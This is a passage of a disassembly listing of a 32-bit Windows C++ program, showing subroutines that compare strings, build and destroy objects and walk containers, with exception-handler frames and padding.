lea ecx, [edi+3Fh]
call sub_4017E4
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017E4
loc_413EB2: ; CODE XREF: sub_413DA0+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413ED6
cmp cl, bl
jz short loc_413ED2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413ED6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413EB2
loc_413ED2: ; CODE XREF: sub_413DA0+11Cj
xor eax, eax
jmp short loc_413EDB
; ---------------------------------------------------------------------------
loc_413ED6: ; CODE XREF: sub_413DA0+118j
; sub_413DA0+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413EDB: ; CODE XREF: sub_413DA0+134j
cmp eax, ebx
jnz loc_413F8E
loc_413EE3: ; CODE XREF: sub_413DA0+FAj
push 58h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413F03
mov ecx, eax
call sub_401D07
jmp short loc_413F05
; ---------------------------------------------------------------------------
loc_413F03: ; CODE XREF: sub_413DA0+158j
xor eax, eax
loc_413F05: ; CODE XREF: sub_413DA0+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40200E
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40200E
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401406
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_413FDB
; ---------------------------------------------------------------------------
loc_413F8E: ; CODE XREF: sub_413DA0+44j
; sub_413DA0+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_413FDB: ; CODE XREF: sub_413DA0+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413DA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414090 proc near ; CODE XREF: sub_401D07j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414090 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414120: ; CODE XREF: ___:00401DC0j
push 0FFFFFFFFh
push offset loc_439C10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401861
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_40189D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414210 proc near ; CODE XREF: sub_401537j
add ecx, 6Ch
jmp sub_401C62
sub_414210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414230 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414230
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_4367FA
sub_414230 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414273
mov ecx, eax
call sub_401BE0
; ---------------------------------------------------------------------------
jmp short loc_414275
; ---------------------------------------------------------------------------
loc_414273: ; CODE XREF: ___:00414268j
xor eax, eax
loc_414275: ; CODE XREF: ___:00414271j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40200E
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40200E
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40200E
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40200E
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401EF1
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414360 proc near ; CODE XREF: sub_401BE0j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_401424
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414360 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414400: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_439CD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4144D0 proc near ; CODE XREF: sub_401DACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4144D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E1F
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jz short loc_414580
loc_414535: ; CODE XREF: sub_4144D0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_41455D
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41455D: ; CODE XREF: sub_4144D0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020A4
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jnz short loc_414535
loc_414580: ; CODE XREF: sub_4144D0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_4145C8
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_4145A3
push 1
call sub_4019DD
loc_4145A3: ; CODE XREF: sub_4144D0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_4145C8: ; CODE XREF: sub_4144D0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4144D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414640 proc near ; CODE XREF: sub_4019DDj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402220
test [esp+4+arg_0], 1
jz short loc_414658
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414658: ; CODE XREF: sub_414640+Dj
mov eax, esi
pop esi
retn 4
sub_414640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414670 proc near ; CODE XREF: sub_402220j
jmp sub_401226
sub_414670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_439D20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_443C94 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414759
loc_4146F3: ; CODE XREF: ___:00414757j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_443C94 ; ":"
push esi
push edx
call sub_4016AE
mov ecx, ebp
call sub_401DAC
cmp al, bl
jnz short loc_414720
mov [esp+13h], bl
loc_414720: ; CODE XREF: ___:0041471Aj
inc esi
push offset asc_443C94 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4146F3
loc_414759: ; CODE XREF: ___:004146F1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4147D0 proc near ; CODE XREF: sub_40210Dj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4147D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017E4
test eax, eax
jz loc_414904
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402252
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_4148AE
loc_414844: ; CODE XREF: sub_4147D0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B72
test eax, eax
jz short loc_41487C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
jnz short loc_41488B
loc_41487C: ; CODE XREF: sub_4147D0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41488B: ; CODE XREF: sub_4147D0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414844
loc_4148AE: ; CODE XREF: sub_4147D0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_414904
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_402130
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4148D1
push 1
call sub_4016FE
loc_4148D1: ; CODE XREF: sub_4147D0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_414904: ; CODE XREF: sub_4147D0+2Ej
; sub_4147D0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4147D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149A0 proc near ; CODE XREF: sub_4016FEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A5A
test [esp+4+arg_0], 1
jz short loc_4149B8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4149B8: ; CODE XREF: sub_4149A0+Dj
mov eax, esi
pop esi
retn 4
sub_4149A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149D0 proc near ; CODE XREF: sub_401A5Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4149D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4149D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414A60: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_439D98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40210D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414AF0: ; CODE XREF: ___:00401B31j
push 0FFFFFFFFh
push offset loc_439DB8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017E4
test eax, eax
jz loc_414BF7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401983
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jz short loc_414BAF
loc_414B64: ; CODE XREF: ___:00414BADj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_414B8C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414B8C: ; CODE XREF: ___:00414B7Bj
lea ecx, [esp+4]
call sub_4018B6
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jnz short loc_414B64
loc_414BAF: ; CODE XREF: ___:00414B62j
mov eax, [esp+8]
test eax, eax
jz short loc_414BF7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414BD2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BC9j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414BF7: ; CODE XREF: ___:00414B1Ej
; ___:00414BB5j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414C70 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B45
sub_414C70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414C88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414C88: ; CODE XREF: ___:00414C7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414CA0 proc near ; CODE XREF: sub_401B45j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414CA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401578
sub_414CA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414D40 proc near ; CODE XREF: sub_4014BFj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414D40
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414E3B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014C9
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_446F70
call sub_401861
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C9E
mov [esp+88h+var_4], ebx
call sub_40210D
test al, al
jz loc_414F70
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019B5
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414E3B: ; CODE XREF: sub_414D40+36j
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F70
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014C9
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014C9
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014C9
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_443600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_443600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C9E
mov [esp+0D0h+var_4], ebx
call sub_40189D
test al, al
jz short loc_414F70
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019B5
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F70: ; CODE XREF: sub_414D40+82j
; sub_414D40+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414D40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415030 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401EBA
sub_415030 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415070 proc near ; CODE XREF: sub_40171Cj
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401EBA
sub_415070 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016CC
mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_40172B
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4150F0 proc near ; CODE XREF: sub_401578j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D89
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401465
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CD5
sub_4150F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415160 proc near ; CODE XREF: sub_4012E9j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_415160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151A0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
